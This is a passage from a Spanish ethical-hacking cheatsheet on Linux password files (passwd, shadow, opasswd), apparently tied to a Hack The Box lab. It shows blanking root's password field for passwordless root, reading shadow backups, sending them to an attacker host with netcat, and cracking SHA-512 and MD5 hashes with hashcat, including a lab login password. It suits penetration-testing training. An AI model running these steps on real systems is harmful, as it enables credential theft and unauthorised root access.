Cheatsheet
  • Introducción
    • 👾Ethical Hacking Cheatsheet
      • 📕Metodología OSSTMM
      • 📘MITRE ATT&CK
      • 🔢Proceso de Pentesting
      • 💻Instalación del entorno
        • 💻Instalación de VMWare
        • 💻Virtualizar Kali Linux
        • 🎨Personalización del entorno
        • 🕷️Máquinas Vulnerables
          • 💣Metasploitable 3
          • 🖖VPLE
          • 🟦Windows 11 Developer
      • 📔Organización y Notas
      • 👜Documentación e informes
        • 👜Documentos iniciales
        • 👜Toma de notas y organización
        • 👜Herramientas de documentación
        • 👜Tipos de informes
        • 👜Componentes de un informe
        • 👜Cómo redactar un hallazgo
        • 👜Consejos y trucos en la realización de informes
        • 👜Caso práctico: Informes
        • 👜CPTS Report
  • Sistemas básicos
    • 🐧Linux
    • 🪟Windows
    • 🔓Puertos y comprobaciones
    • Modos de Red
  • Recopilación de información
    • 🌐Google Hacking
      • 🌐Google Dorks
    • 💻Enumeración
      • 💻Metodología
      • 💻FTP
      • 💻SMB
      • 💻NFS
      • 💻DNS
      • 💻SMTP
      • 💻IMAP/POP3
      • 💻SNMP
      • 💻MySQL
      • 💻MSSQL
      • 💻Oracle TNS
      • 💻IPMI
      • 💻Protocolos de Administración Remota - Linux
      • 💻Protocolos de Administración Remota - Windows
      • 💻Footprinting Lab - Easy
      • 💻Footprinting Lab - Medium
      • 💻Footprinting Lab - Hard
    • 🔎Recopilación de información
      • 🔎Recopilación Pasiva
        • 🔎Subdominios - Pasiva
        • 🔎Identificar Tecnologías
        • 🔎Infraestructura - Pasiva
        • 🔎Fingerprinting
        • 🦭FOCA
      • 💻Recopilación Activa
        • 💻Reconocimiento automatizado
        • 💻Nmap
        • 💻Nmap Scripting Engine
        • 💻Subdominios - Activa
        • 💻Infraestructura - Activa
        • 💻Virtual Hosts
        • 💻Evasión de IDS
        • 💻Escaneo Avanzado
        • 💻Lab - Recopilación
      • 🧠OSINT
        • 🧠Herramientas Genéricas
        • 🧠OSINT a Usernames
        • 🧠OSINT a Teléfonos
        • 🧠OSINT a Emails
        • 🧠OSINT a Dominios
        • 🧠OSINT en Linkedin
        • 🧠OSINT en Instagram
    • 🕸️Fuzzing
      • 🕸️Gobuster
      • 🕸️Ffuf
      • 🕸️Dirsearch
    • 🕸️Crawling
      • 🕸️Web Crawlers
      • 🕸️Herramientas de Crawling
    • ☁️Hacking en CMS
    • 🍏Hacking en MacOS
  • Análisis de vulnerabilidades
    • 👾Análisis de vulnerabilidades
    • 👽Herramientas de Análisis
      • ⚙️Nmap: Análisis
      • ⚙️Nuclei
      • ⚙️OpenVAS
      • ⚙️Nessus
  • Explotación de vulnerabilidades
    • 💣Explotación en Hosts
      • 🔥Acceso básico
      • 🐚Shells y Payloads
        • 🐚Bind Shells
        • 🐚Reverse Shells
        • 🐚Payloads
        • 💣Metasploit Payloads
        • 🐚Tratamiento de la TTY
        • 🐚Webshells
          • 🐚Laudanum
          • 🐚PHP Webshell
        • 💣Lab de explotación
      • 🔎Buscador de exploits
      • 🔑Password Attacks
        • 🔑Cracking de Contraseñas
        • 🔑Bruteforce de Servicios
        • 🔑Login Bruteforce
          • 🔑Ataques de fuerza bruta
          • 🔑Ataques de diccionario
          • 🔑Ataques Híbridos
          • 🔑Bruteforce con Hydra
          • 🔑Autenticación HTTP básica
          • 🔑Formularios de Login
          • 🔑Medusa
        • 🔑Password Mutations
        • 🔑Contraseñas por defecto
        • 🔑Windows Attacks
          • 🔑Atacando a SAM
          • 🔑Atacando a LSASS
          • 🔑Atacando Active Directory
          • 🔑Credential Hunting - Windows
        • 🔑Linux Attacks
          • 🔑Credential Hunting - Linux
          • 🔑Passwd, Shadow y Opasswd
        • 🔑Archivos Protegidos
        • 🔑Archivos Comprimidos
        • 🔑Políticas de Contraseñas
        • 🔑Administradores de Contraseñas
        • 🔑Labs de contraseñas
          • 🔑Lab de contraseñas - Easy
          • 🔑Lab de contraseñas - Medium
          • 🔑Lab de contraseñas - Hard
      • 👾Atacando Servicios Comunes
        • 👾Ataques a FTP
        • 👾Ataques a SMB
        • 👾Ataques a Bases de Datos
        • 👾Ataques a RDP
        • 👾Ataques a DNS
        • 👾Ataques a Emails
        • 👾Labs - Common Services
          • 👾Lab - Easy
          • 👾Lab - Medium
          • 👾Lab - Hard
      • 🔁Pivoting, Tunelling y Port Forwarding
        • 🔁Redes en Pivoting
        • 🔁Port Forwarding
        • 🔁Remote/Reverse Port Forwarding con SSH
        • 🔁Meterpreter Tunneling & Port Forwarding
        • 🔁Pivoting con Socat
        • 🔁SSH para Windows: plink.exe
        • 🔁Pivoting SSH con Sshuttle
        • 🔁Web Server Pivoting con Rpivot
        • 🔁Port Forwarding con Windows Netsh
        • 🔁Túnel DNS con Dnscat2
        • 🔁SOCKS5 Tunneling con Chisel
        • 🔁ICMP Tunneling con SOCKS
        • 🔁RDP y SOCKS Tunneling con SocksOverRDP
        • 🔁Pivoting: Skills Assessment
        • 🔁Port Forwarding dinámico
      • 🧨Metasploit
        • 🧨Metasploit - Atacando Windows
      • ☠️Msfvenom
      • 🐍Hydra
      • ❌BruteX
      • 🔄File Transfers
      • 💿Buffer Overflow en Linux
    • 💣Explotación en Web
      • ⬆️Ataques de subida de archivos
        • ⬆️Ausencia de validación
        • ⬆️Explotación de subida
        • ⬆️Client-Side Validation
        • ⬆️Filtros de Blacklist
        • ⬆️Filtros de Whitelist
        • ⬆️Filtros de tipo
        • ⬆️Cargas de archivos limitadas
        • ⬆️Otros ataques de carga
        • ⬆️Prevención en carga de archivos
        • ⬆️File Uploads - Skills Assessment
      • 🕸️Ataques Web Modernos
        • 🕸️HTTP Verb Tampering
          • 🕸️Bypass de autenticación
          • 🕸️Bypass de Filtros
          • 🕸️Prevención de HTML Verb Tampering
        • 🕸️IDOR
          • 🕸️Identificación de IDOR
          • 🕸️Enumeración de IDOR
          • 🕸️Bypass de referencias codificadas
          • 🕸️IDOR en APIs Inseguras
          • 🕸️Encadenar vulnerabilidades IDOR
          • 🕸️Prevención de IDOR
        • 🕸️XML External Entity (XXE)
          • 🕸️Local File Disclosure
          • 🕸️Advanced File Disclosure
          • 🕸️Blind Data Exfiltration
          • 🕸️Prevención de XXE
        • 🕸️Ataques Web - Skills Assesment
      • 💣Ataques a Aplicaciones Web
        • 🔎Descubrimiento y enumeración de aplicaciones
        • 💣Ataques a CMS
          • 🔎Wordpress - Enumeración
          • 💣Wordpress - Ataques
          • 🔎Joomla - Enumeración
          • 💣Joomla - Ataques
          • 🔎Drupal - Enumeración
          • 💣Drupal - Ataques
        • 💣Ataques a Servlet Containers
          • 🔎Tomcat - Enumeración
          • 💣Tomcat - Ataques
          • 🔎Jenkins - Enumeración
          • 💣Jenkins - Ataques
        • 💣Ataques a herramientas de monitorización
          • 🔎Splunk - Enumeración
          • 💣Splunk - Ataques
          • 💣PTRG Network Monitor
        • 💣Ataques a aplicaciones varias
          • 💣osTicket
          • 🔎GitLab - Enumeración
          • 💣GitLab - Ataques
          • 💣Tomcat CGI
          • 💣Ataques a CGI - Shellshock
          • 💣Ataques a Aplicaciones de Cliente Pesado
          • 💣Vulnerabilidades Web en Aplicaciones de Cliente Pesado
          • 🔎ColdFusion - Enumeración
          • 💣Coldfusion - Ataques
          • 🔎IIS Tilde - Enumeración
          • 💣Asignación masiva de archivos web
          • 💣Ataques a aplicaciones que se conectan a servicios
          • 💣Otras aplicaciones notables
          • 🛡️Hardening de Aplicaciones
        • 💣Labs - Ataques a Aplicaciones
          • 💣Lab - Ataques a Aplicaciones I
          • 💣Lab - Ataques a Aplicaciones II
          • 💣Lab - Ataques a Aplicaciones III
      • 💉SQL Injection
        • 💉SQLMap
          • 💉Introducción a SQLMap
          • 💉SQLMap - HTTP Request
          • 💉SQLMap - Manejo de errores
          • 💉SQLMap - Ajuste del ataque
          • 💉SQLMap - Enumeración Básica
          • 💉SQLMap - Enumeración Avanzada
          • 💉SQLMap - Bypass de protección web
          • 💉SQLMap - Explotación de S.O.
          • 💉SQLMap - Skills Assessment
      • 💉Command Injection
        • 💉Detección
        • 💉Inyectando comandos
        • 💉Otros operadores de inyección
        • 💉Identificación de filtros
        • 💉Bypass de filtros de espacios
        • 💉Bypass de otros caracteres en Blacklist
        • 💉Bypass de comandos en Blacklist
        • 💉Ofuscación de comandos avanzada
        • 💉Herramientas de Ofuscación de comandos
        • 💉Prevención de Command Injection
        • 💉Command Injection - Skills Assesment
      • 📁Local File Inclusion
      • 💿Cross Site Scripting (XSS)
        • 💿XSS Stored
        • 💿XSS Reflected
        • 💿XSS DOM-Based
        • 💿XSS Discovery
        • 💿XSS Payloads
        • 💿Defacing con XSS
        • 💿Phising con XSS
        • 💿Session Hijacking
        • 💿Prevención de XSS
        • 💿XSS - Skills Assessment
      • 💻API Hacking
      • 🔻DDoS Attack
      • 💡Web Proxies
        • 💡Configuración
        • 💡Interceptando solicitudes
        • 💡Interceptar respuestas
        • 💡Modificación automática
        • 💡Solicitudes repetidas
        • 💡Encoding / Decoding
        • 💡Herramientas de Proxy
        • 💡Burp Intruder
        • 💡Zap Fuzzer
        • 💡Burp Scanner
        • 💡Zap Scanner
        • 💡Extensiones
        • 💡Proxy: Skills Assestment
      • 👨‍🍳Cyberchef
    • 💣Explotación en Redes
      • 😎Man in the middle
      • 🎣Phising
        • 🎣Herramientas de Phising
        • 🎣Seeker y Ngrok
        • 🎣Social Engineering Toolkit
        • 🎣Gophish
      • 🤼Ingeniería Social
      • 🔐Bruteforce a RRSS
      • 🌐Hacking WiFi
        • 🌐Conceptos básicos
        • 🌐Redes Básicas
        • 🌐Sniffing
        • 🌐Deauth
        • 🌐Redes ocultas
        • 🌐WEP Cracking
          • 🌐Ataque a WEP
          • 🌐Fake Autentication
          • 🌐Packet Injection
            • 🌐ARP Request Replay
            • 🌐Chop Chop
            • 🌐Fragmentation
          • 🌐Redes SKA
        • 🌐WPS Cracking
        • 🌐WPA/WPA2 Cracking
        • 🌐Wifite
        • 🌐Evil Portal
        • 🌐Rainbow Table
        • 🌐WPA/WPA2 Enterprise
    • 📕Diccionarios Custom
      • 📕Username Anarchy
      • 📕Cupp
      • 📕Crunch
      • 📕CeWL
      • 📕DyMerge
  • Post Explotación
    • 💻Post Explotación
      • 👾Meterpreter
      • 🐈Mimikatz
      • 🔐LaZagne
      • 📩Procdump y lsass.exe
      • ↔️Movimientos Laterales
        • ↔️Pass the Hash (PtH)
        • ↔️Pass the Ticket (PtT) - Windows
        • ↔️Pass the Ticket (PtT) - Linux
      • 🚪Backdoor en binarios
      • 🦅Covenant
      • ⚔️Koadic
      • 💾Bases de datos
        • 💾MySQL
        • 💾PostgreSQL
      • ⚙️P.E. Avanzada
      • 🧼Borrado de evidencias
    • 🌋Escalada de Privilegios
      • 🐧Escalada de privilegios en Linux
        • 🐧Enumeración del entorno
        • 🐧Enumeración de servicios y componentes internos
        • 🐧Búsqueda de credenciales en Linux
        • 🐧Abuso de PATH
        • 🐧Abuso de comodines
        • 🐧Shells restringidos
        • 🐧Permisos especiales
        • 🐧Abuso de permisos Sudo
        • 🐧Grupos privilegiados
        • 🐧Capabilities
        • 🐧Servicios vulnerables
        • 🐧Abuso de Cron
        • 🐧Contenedores
        • 🐧Docker
        • 🐧Kubernetes
        • 🐧Logrotate
        • 🐧Técnicas varias
        • 🐧Exploits del Kernel - Linux
        • 🐧Bibliotecas compartidas
        • 🐧Secuestro de objetos compartidos
        • 🐧Secuestro de librería de Python
        • 🐧Sudo Zeroday
        • 🐧Polkit Zeroday
        • 🐧Dirty Pipe
        • 🐧Netfilter
        • 🐧Hardening en Linux - Privesc
        • 🐧Escalada en Linux - Skills Assesment
        • ⬆️Linpeas
      • 📘Escalada de privilegios en Windows
        • 📘Herramientas útiles
        • 📘Conciencia situacional
        • 📘Enumeración inicial en Windows
        • 📘Enumeración inicial
        • 📘Comunicación con Procesos
        • 📘Privilegios de Usuario en Windows
          • 📘SeImpersonate y SeAssignPrimaryToken
          • 📘SeDebugPrivilege
          • 📘SeTakeOwnershipPrivilege
        • 📘Privilegios de Grupo en Windows
          • 📘Grupos Integrados en Windows
          • 📘Lectores de Registros de Eventos
          • 📘DnsAdmins
          • 📘Hyper-V Administrators
          • 📘Print Operators
          • 📘Server Operators
        • 📘Atacando el Sistema Operativo Windows
          • 📘User Account Control (UAC)
          • 📘Permisos débiles
          • 📘Exploits del Kernel - Windows
          • 📘Servicios vulnerables en Windows
          • 📘DLL Injection
        • 📘Robo de credenciales en Windows
          • 📘Búsqueda de credenciales en Windows
          • 📘Otros archivos interesantes en Windows
          • 📘Otros robos de credenciales en Windows
        • 📘Entornos restrictivos - Citrix
        • 📘Varias técnicas de escalada en Windows
          • 📘Interacción con usuarios
          • 📘Pillaging
          • 📘Técnicas varias
        • 📘Sistemas Operativos Obsoletos
          • 📘Sistemas operativos heredados
          • 📘Windows Server
          • 📘Windows Desktop
        • 📘Hardening en Windows
        • 📘Escalada de privilegios en Windows: Skills Assessment
          • 📘Escenario 1
          • 📘Escenario 2
      • 🔴GTFOBins
  • Evasión de defensas
    • 🛡️Detección y evasión de defensas
      • 🛡️Load Balancing Detector
      • 🛡️Evasión de WAFs
      • 🛡️Evasión de Antivirus
      • 🛡️Herramientas de Evasión
  • Active Directory
    • ☁️Active Directory
      • ☁️Enumeración en AD
        • ☁️AD: Enumeración inicial del dominio
        • ☁️AD: Enumeración de controles de seguridad
        • ☁️AD: Enumeración con credenciales: desde Linux
        • 👁️PowerView
        • ☁️AD: Enumeración con credenciales: desde Windows
        • ☁️AD: Enumeración nativa en Windows
      • ☄️Sniffing desde el Foothold
        • ☄️LLMNR/NBT-NS Poisoning - Desde Linux
        • ☄️LLMNR/NBT-NS Poisoning - Desde Windows
      • 🔫Password Spraying
        • 🔫AD: Políticas de contraseñas
        • 🔫AD: Crear lista de usuarios
        • 🔫Password Spraying Interno - Desde Linux
        • 🔫Password Spraying Interno - Desde Windows
      • 🐺Kerberos
        • ⚔️Hacking en Kerberos
        • ⚔️Kerberoasting desde Linux
        • ⚔️Kerberoasting desde Windows
        • 🗝️Acceso a Credenciales
        • 🗝️Volcado de LSASS y SAM
        • 🗝️Credenciales cacheadas
        • 🗝️Pass the Hash
        • 🪙Token Impersonation
        • 🎟️ASK-TGT
        • 🎫Golden y Silver Tickets
        • 🐺Kerberos "Double Hop"
      • 🦸‍♂️ACLs - Access Control Lists
        • 🦸‍♂️ACLs Vulnerables
        • 🦸‍♂️Enumeración de ACLs
        • 🦸‍♂️Tácticas de abuso de ACLs
      • 🔄DCSync
      • ⬆️Acceso Privilegiado
      • ❤️‍🩹Vulnerabilidades en AD
      • ⚙️Malas configuraciones en AD
      • 🤝Relaciones de confianza
        • 🤝Ataque de confianza de dominio - Desde Windows
        • 🤝Ataque de confianza de dominio - Desde Linux
        • 🤝Abuso de confianza entre bosques - Desde Windows
        • 🤝Abuso de confianza entre bosques - Desde Linux
      • ☁️Vulnerable AD
      • ⬇️SAM
      • 🔐LDAP
        • 🔐Atacando LDAP
      • 🔐NTDS
      • 🔐NTLM/SMB Relay
      • 🩸BloodHound
      • 🛡️Hardening en AD
      • 💻Técnicas adicionales de auditoría en AD
      • 💻AD - Skills Assessment I
      • 💻AD - Skills Assessment II
  • Hacking en entornos reales
    • 🏛️Enterprise Hacking
      • 🏛️Escenario y KickOff
      • 🏛️Enterprise Hacking Checklist
      • 🏛️Pruebas externas
        • 🏛️Recopilación de Información Externa
        • 🏛️Enumeración y explotación de servicios
        • 🏛️Enumeración y explotación web
        • 🏛️Acceso inicial
      • 🏛️Pruebas internas
        • 🏛️Persistencia Post-Explotación
        • 🏛️Recopilación de Información Interna
        • 🏛️Explotación y escalada de privilegios
      • 🏛️Movimiento lateral y escalada de privilegios
        • 🏛️Movimiento lateral
        • 🏛️Comprometiendo Active Directory
        • 🏛️Post Explotación en Active Directory
        • 🏛️Cierre del pentesting
    • ☁️AWS - Amazon Web Services
    • ⚔️Hacking en AWS
  • Anonimato y privacidad
    • 👹Anonimato y Privacidad
      • 🔒VPN
      • 🔒Proxy
      • 🔒Red TOR
      • 🔒Zero Knowledge Services
  • Machine Learning en Hacking
    • 🧠Machine Learning
      • 🧠Batea
      • 💀Pesidious
  • Hardware Hacking
    • 🐬Flipper Zero
      • 🐬Introducción
        • 🐬qFlipper
        • 🐬Instalar qFlipper en Kali Linux
        • 🐬Recuperación de Firmware
      • 📻Sub-GHz
        • 📻Lectura de señales
        • 📻Lectura de señales RAW
        • 📻Añadir nuevos controles remotos
        • 📻Frecuencias
      • ♒RFID de 125 kHz
        • ♒Lectura de tarjetas RFID
        • ♒Añadir tarjetas RFID manualmente
        • ♒Escritura de datos en tarjetas T5577
        • ♒Microchips para animales
      • 💳NFC
        • 💳Lectura de tarjetas NFC
        • 💳Extracción de claves con MFKey32
        • 💳Desbloqueo de tarjetas con contraseñas
        • 💳Escritura de datos en Magic Cards
        • 💳Añadir nuevas tarjetas NFC
      • 🔴Infrarrojos
        • 🔴Lectura de señales infrarrojas
        • 🔴Controles remotos universales
      • 👿Bad USB
        • 👿Script básico de Youtube
        • 👿Bruteforce de Pins
        • 👿RatLocker
      • 🎨Custom Firmwares
      • 🛜GPIO y Módulos
        • 🛜Marauder Firmware
        • 🛜Escaneo de Redes Wifi
        • 🛜Wifi Password Cracking
        • 🛜Evil Portal
      • 🔘iButton
        • 🔘Lectura de llaves iButton
        • 🔘Agregar llaves iButton manualmente
        • 🔘Escritura de datos en llaves iButton
  • Writeups
    • 🟢Hack the Box
      • 🟠Blurry
      • 🟠Hospital
      • 🟠Zipping
      • 🟢Analytics
      • 🟢Bizness
      • 🟢Boardlight
      • 🟢Broker
      • 🟢Chemistry
      • 🟢Codify
      • 🟢CozyHosting
      • 🟢Devvortex
      • 🟢GreenHorn
      • 🟢LinkVortex
      • 🟢PermX
    • 🐋Dockerlabs
      • 🟠Inclusion
      • 🟠Veneno
      • 🟢Hedgehog
      • 🟢Library
      • 🟢Move
      • 🟢Walking CMS
    • 🌩️TryHackMe
      • 🟠Attracktive Directory
    • 🌐Over The Wire
      • 🌐Bandit
      • 🌐Natas
Con tecnología de GitBook
En esta página
  • Passwd
  • Formato de contraseña
  • Editando /etc/passwd - Antes
  • Editando /etc/passwd - Después
  • Acceso root sin contraseña
  • Shadow
  • Formato de etc/shadow
  • etc/shadow
  • Tipos de algoritmos
  • Opasswd
  • Leyendo /etc/security/opasswd
  • Descifrando credenciales en Linux
  • Unshadow
  • Hashcat - Cracking Hashes Unshadow
  • Hashcat - Descifrando hashes MD5
  • Caso práctico
  • Unshadow

¿Te fue útil?

  1. Explotación de vulnerabilidades
  2. Explotación en Hosts
  3. Password Attacks
  4. Linux Attacks

Passwd, Shadow y Opasswd

AnteriorCredential Hunting - LinuxSiguienteArchivos Protegidos

Última actualización hace 4 meses

¿Te fue útil?

Las distribuciones basadas en Linux pueden utilizar muchos mecanismos de autenticación diferentes. Uno de los mecanismos estándar y más comúnmente utilizado son los ( PAM). Los módulos utilizados para esto se llaman pam_unix.so o pam_unix2.so y están ubicados en /usr/lib/x86_x64-linux-gnu/security/ en distribuciones basadas en Debian. Estos módulos administran la información del usuario, la autenticación, las sesiones, las contraseñas actuales y las contraseñas antiguas. Por ejemplo, si queremos cambiar la contraseña de nuestra cuenta en el sistema Linux con passwd, se llama a PAM, que toma las precauciones adecuadas y almacena y maneja la información en consecuencia.

El módulo estándar de administración pam_unix.so utiliza llamadas API estandarizadas desde las bibliotecas y archivos del sistema para actualizar la información de la cuenta. Los archivos estándar que se leen, administran y actualizan son /etc/passwdy /etc/shadow. PAM también tiene muchos otros módulos de servicio, como LDAP, mount o Kerberos.


Passwd

El archivo /etc/passwd contiene información sobre cada usuario existente en el sistema y puede ser leído por todos los usuarios y servicios. Cada entrada en el /etc/passwd identifica a un usuario en el sistema. Cada entrada tiene siete campos que contienen un formulario de base de datos con información sobre el usuario en particular, donde dos puntos ( :) separan la información. En consecuencia, una entrada de este tipo podría verse así:

Formato de contraseña

cry0l1t3

:

x

:

1000

:

1000

:

cry0l1t3,,,

:

/home/cry0l1t3

:

/bin/bash

Nombre de inicio de sesión

Información de contraseña

UID

GUID

Nombre completo/ comentarios

Directorio de inicio

Shell

El campo más interesante para nosotros es el campo Información de contraseña en esta sección porque aquí puede haber diferentes entradas. Uno de los casos más raros que podemos encontrar sólo en sistemas muy antiguos es el hash de la contraseña cifrada en este campo. Los sistemas modernos tienen los valores hash almacenados en el archivo /etc/shadow, al que volveremos más adelante. Sin embargo, /etc/passwdes legible en todo el sistema, lo que brinda a los atacantes la posibilidad de descifrar las contraseñas si los hashes se almacenan aquí.

Por lo general, encontramos el valor x en este campo, lo que significa que las contraseñas se almacenan de forma cifrada en el archivo /etc/shadow. Sin embargo, también puede ser que el /etc/passwd se pueda escribir por error. Esto nos permitiría borrar este campo para el usuario root de modo que el campo de información de contraseña esté vacío. Esto hará que el sistema no envíe una solicitud de contraseña cuando un usuario intente iniciar sesión como root.

Editando /etc/passwd - Antes

root:x:0:0:root:/root:/bin/bash

Editando /etc/passwd - Después

root::0:0:root:/root:/bin/bash   # Le quitamos la x

Acceso root sin contraseña

[cry0l1t3@parrot]─[~]$ head -n 1 /etc/passwd

root::0:0:root:/root:/bin/bash


[cry0l1t3@parrot]─[~]$ su

[root@parrot]─[/home/cry0l1t3]#

Aunque los casos mostrados rara vez ocurrirán, debemos prestar atención y estar atentos a las brechas de seguridad porque hay aplicaciones que requieren que establezcamos permisos específicos para carpetas enteras. Si el administrador tiene poca experiencia con Linux o las aplicaciones y sus dependencias, puede que le dé permisos de escritura al directorio /etc y se olvide de corregirlos.


Shadow

Dado que la lectura de los valores hash de las contraseñas puede poner en peligro todo el sistema, se desarrolló un archivo /etc/shadow que tiene un formato similar a /etc/passwd pero solo es responsable de las contraseñas y su gestión. Contiene toda la información de contraseña de los usuarios creados. Por ejemplo, si no hay ninguna entrada en el /etc/shadow para un usuario en /etc/passwd, el usuario se considera no válido. Además, el /etc/shadow solo lo pueden leer los usuarios que tienen derechos de administrador. El formato de este archivo se divide en 9 campos:

Formato de etc/shadow

cry0l1t3

:

$6$wBRzy$...SNIP...x9cDWUxW1

:

18937

:

0

:

99999

:

7

:

:

:

Nombre de usuario

Contraseña cifrada

Último cambio de contraseña

Mín. PW age

Max. PW age

Periodo de advertencia

Periodo de inactividad

Fecha de caducidad

No usado

etc/shadow

[cry0l1t3@parrot]─[~]$ sudo cat /etc/shadow

root:*:18747:0:99999:7:::
sys:!:18747:0:99999:7:::
...SNIP...
cry0l1t3:$6$wBRzy$...SNIP...x9cDWUxW1:18937:0:99999:7:::

Si el campo de contraseña contiene un carácter, como !o *, el usuario no puede iniciar sesión con una contraseña de Unix. Sin embargo, aún se pueden utilizar otros métodos de autenticación para iniciar sesión, como Kerberos o la autenticación basada en claves. El mismo caso se aplica si el campo contraseña cifrada está vacío. Esto significa que no se requiere contraseña para iniciar sesión. Sin embargo, esto puede llevar a que programas específicos nieguen el acceso a funciones. La contraseña cifrada también tiene un formato particular mediante el cual también podemos conocer alguna información:

  • $<type>$<salt>$<hashed>

Como podemos ver aquí, las contraseñas cifradas se dividen en tres partes. Los tipos de cifrado nos permiten distinguir entre los siguientes:

Tipos de algoritmos

  • $1$ – MD5

  • $2a$ – Blowfish

  • $2y$ – Eksblowfish

  • $5$ – SHA-256

  • $6$ – SHA-512

De forma predeterminada, el método de cifrado SHA-512 ( $6$) se utiliza en las distribuciones de Linux más recientes. También encontraremos otros métodos de cifrado que luego podremos intentar descifrar en sistemas más antiguos. Discutiremos cómo funciona el craqueo en un momento.


Opasswd

La biblioteca PAM (pam_unix.so) puede evitar la reutilización de contraseñas antiguas. El archivo donde se almacenan las contraseñas antiguas es el /etc/security/opasswd. También se requieren permisos de administrador/root para leer el archivo si los permisos para este archivo no se han cambiado manualmente.

Leyendo /etc/security/opasswd

afsh4ck@kali$ sudo cat /etc/security/opasswd

cry0l1t3:1000:2:$1$HjFAfYTG$qNDkF0zJ3v8ylCOrKB0kt0,$1$kcUjWZJX$E9uMSmiQeRh4pAAgzuvkq1

Si observamos el contenido de este archivo, podemos ver que contiene varias entradas para el usuario cry0l1t3, separadas por una coma (,). Otro punto crítico al que hay que prestar atención es el tipo de hash que se ha utilizado. Esto se debe a que el algoritmo MD5($1$) es mucho más fácil de descifrar que SHA-512. Esto es especialmente importante para identificar contraseñas antiguas y tal vez incluso su patrón, porque a menudo se utilizan en varios servicios o aplicaciones. Aumentamos muchas veces la probabilidad de adivinar la contraseña correcta según su patrón.


Descifrando credenciales en Linux

Una vez que hayamos recopilado algunos hashes, podemos intentar descifrarlos de diferentes maneras para obtener las contraseñas en texto sin cifrar.

Unshadow

La técnica de unshadow en sistemas Linux se refiere al proceso de combinar el archivo de contraseñas /etc/passwd y el archivo de contraseñas protegidas /etc/shadow para generar una lista que pueda ser utilizada para ataques de fuerza bruta o crackeo de contraseñas.

El comando unshadow toma ambos archivos y genera un archivo de salida que contiene la información del usuario junto con las contraseñas encriptadas.

afsh4ck@kali$ sudo cp /etc/passwd /tmp/passwd.bak 
afsh4ck@kali$ sudo cp /etc/shadow /tmp/shadow.bak 
afsh4ck@kali$ unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes

Hashcat - Cracking Hashes Unshadow

afsh4ck@kali$ hashcat -m 1800 -a 0 /tmp/unshadowed.hashes /usr/share/wordlists/rockyou.txt -o /tmp/unshadowed.cracked

Hashcat - Descifrando hashes MD5

afsh4ck@kali$ cat md5-hashes.list

qNDkF0zJ3v8ylCOrKB0kt0
E9uMSmiQeRh4pAAgzuvkq1
afsh4ck@kali$ hashcat -m 500 -a 0 md5-hashes.list rockyou.txt

Caso práctico

Examine el objetivo utilizando las credenciales del usuario Will y descubra la contraseña del usuario "root". Luego, envíe la contraseña como respuesta.

Vamos a usar las credenciales encontradas en la sección anterior para acceder por SSH con el usuario Will

ssh will@10.129.7.121
TUqr7QfLTLhruhVbCP

Al acceder a .bash_history encontramos la ruta /.backups que contiene los archivos .bak del passwd y shadow

will@nix01:~$ ls -la
.backups  .bash_history  .bash_logout  .bashrc  .cache  .config  .profile

# Accedemos a .bash_history
will@nix01:~$ cat .bash_history 
cd
mkdir .backups
cd
ls -la
tree .
tree ...
ls -la
tree ...
ls -la
cd ...
ls -la

will@nix01:~$ cd .backups/

will@nix01:~/.backups$ tree
.
├── passwd.bak
└── shadow.bak

0 directories, 2 files

will@nix01:~/.backups$ ls -la
passwd.bak  shadow.bak
will@nix01:~/.backups$ cat shadow.bak 
root:$6$XePuRx/4eO0WuuPS$a0t5vIuIrBDFx1LyxAozOu.cVaww01u.6dSvct8AYVVI6ClJmY8ZZuPDP7IoXRJhYz4U8.DJUlilUw2EfqhXg.:19032:0:99999:7:::
kira:$6$Qsp/wU8vd2AfZLNX$C9jsDq36v3SjM8J1RNgrPkvFUxmOUoHcLUhLFVSCxjH1OcmfOsYaOyV4Flq03xEws8EpIbqkGswGRkrfhMCS9.:19032:0:99999:7:::
will:$6$9ydKhjrXsYb9DuQ3$mpajQn/OhVmuz7/BZxCibO.m7aYPiBnjj2EV2NTE4i2N63QmV7uajroEzbl6RjYVyOOySJmtt949WG9wVB6CV0:19032:0:99999:7:::
sam:$6$0ZQY96jLR9VVZ/Jk$EWbFnNQW21KlbFwt7oQXoGvuoafNuUtjnNl.Dbih3WjbsletfbYN25C1rZgFvc8Xfo5cXTuJr02yTMK7pU9az1:19032:0:99999:7:::
...

Vamos a llevarnos estos 2 archivos a nuestro host de atacante y vamos a hacer la técnica de Unshadow

will@nix01:~/.backups$ nc 10.10.15.239 4444 -w3 < shadow.bak
will@nix01:~/.backups$ nc 10.10.15.239 4444 -w3 < passwd.bak
afsh4ck@kali$ nc -nlvp 4444 > shadow.bak
listening on [any] 4444 ...
connect to [10.10.15.239] from (UNKNOWN) [10.129.7.121] 60116

afsh4ck@kali$ nc -nlvp 4444 > passwd.bak
listening on [any] 4444 ...
connect to [10.10.15.239] from (UNKNOWN) [10.129.7.121] 60116

Unshadow

afsh4ck@kali$ unshadow passwd.bak shadow.bak > unshadow.hashes

Una vez tenemos el unshadow.hashes vamos a crackearlo con hashcat, utilizando el archivo mut_password.txt de contraseñas mutadas que hemos creado en este sección, en vez del diccionario rockyou:

afsh4ck@kali$ ls
custom.rule  mut2_password.list  mut_password.list    password.list  username.list
love.txt     mut_love.txt        password-short.list  root.hash     
afsh4ck@kali$ hashcat -m 1800 unshadow.hashes mut_password.list 

hashcat (v6.2.6) starting

Session..........: hashcat
Status...........: Running
Hash.Mode........: 1800 (sha512crypt $6$, SHA512 (Unix))
Hash.Target......: unshadow.hashes
Time.Started.....: Tue Apr  2 11:35:09 2024 (10 secs)
Time.Estimated...: Tue Apr  2 11:39:47 2024 (4 mins, 28 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (mut_password.list)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1012 H/s (13.59ms) @ Accel:80 Loops:1024 Thr:1 Vec:2
Recovered........: 1/4 (25.00%) Digests (total), 0/4 (0.00%) Digests (new), 1/4 (25.00%) Salts
Progress.........: 13600/376176 (3.62%)
Rejected.........: 0/13600 (0.00%)
Restore.Point....: 3360/94044 (3.57%)
Restore.Sub.#1...: Salt:2 Amplifier:0-1 Iteration:4096-5000
Candidate.Engine.: Device Generator
Candidates.#1....: 7894562008! -> 78945698
Hardware.Mon.#1..: Util: 91%

$6$0ZQY96jLR9VVZ/Jk$EWbFnNQW21KlbFwt7oQXoGvuoafNuUtjnNl.Dbih3WjbsletfbYN25C1rZgFvc8Xfo5cXTuJr02yTMK7pU9az1:B@tm@n2022!

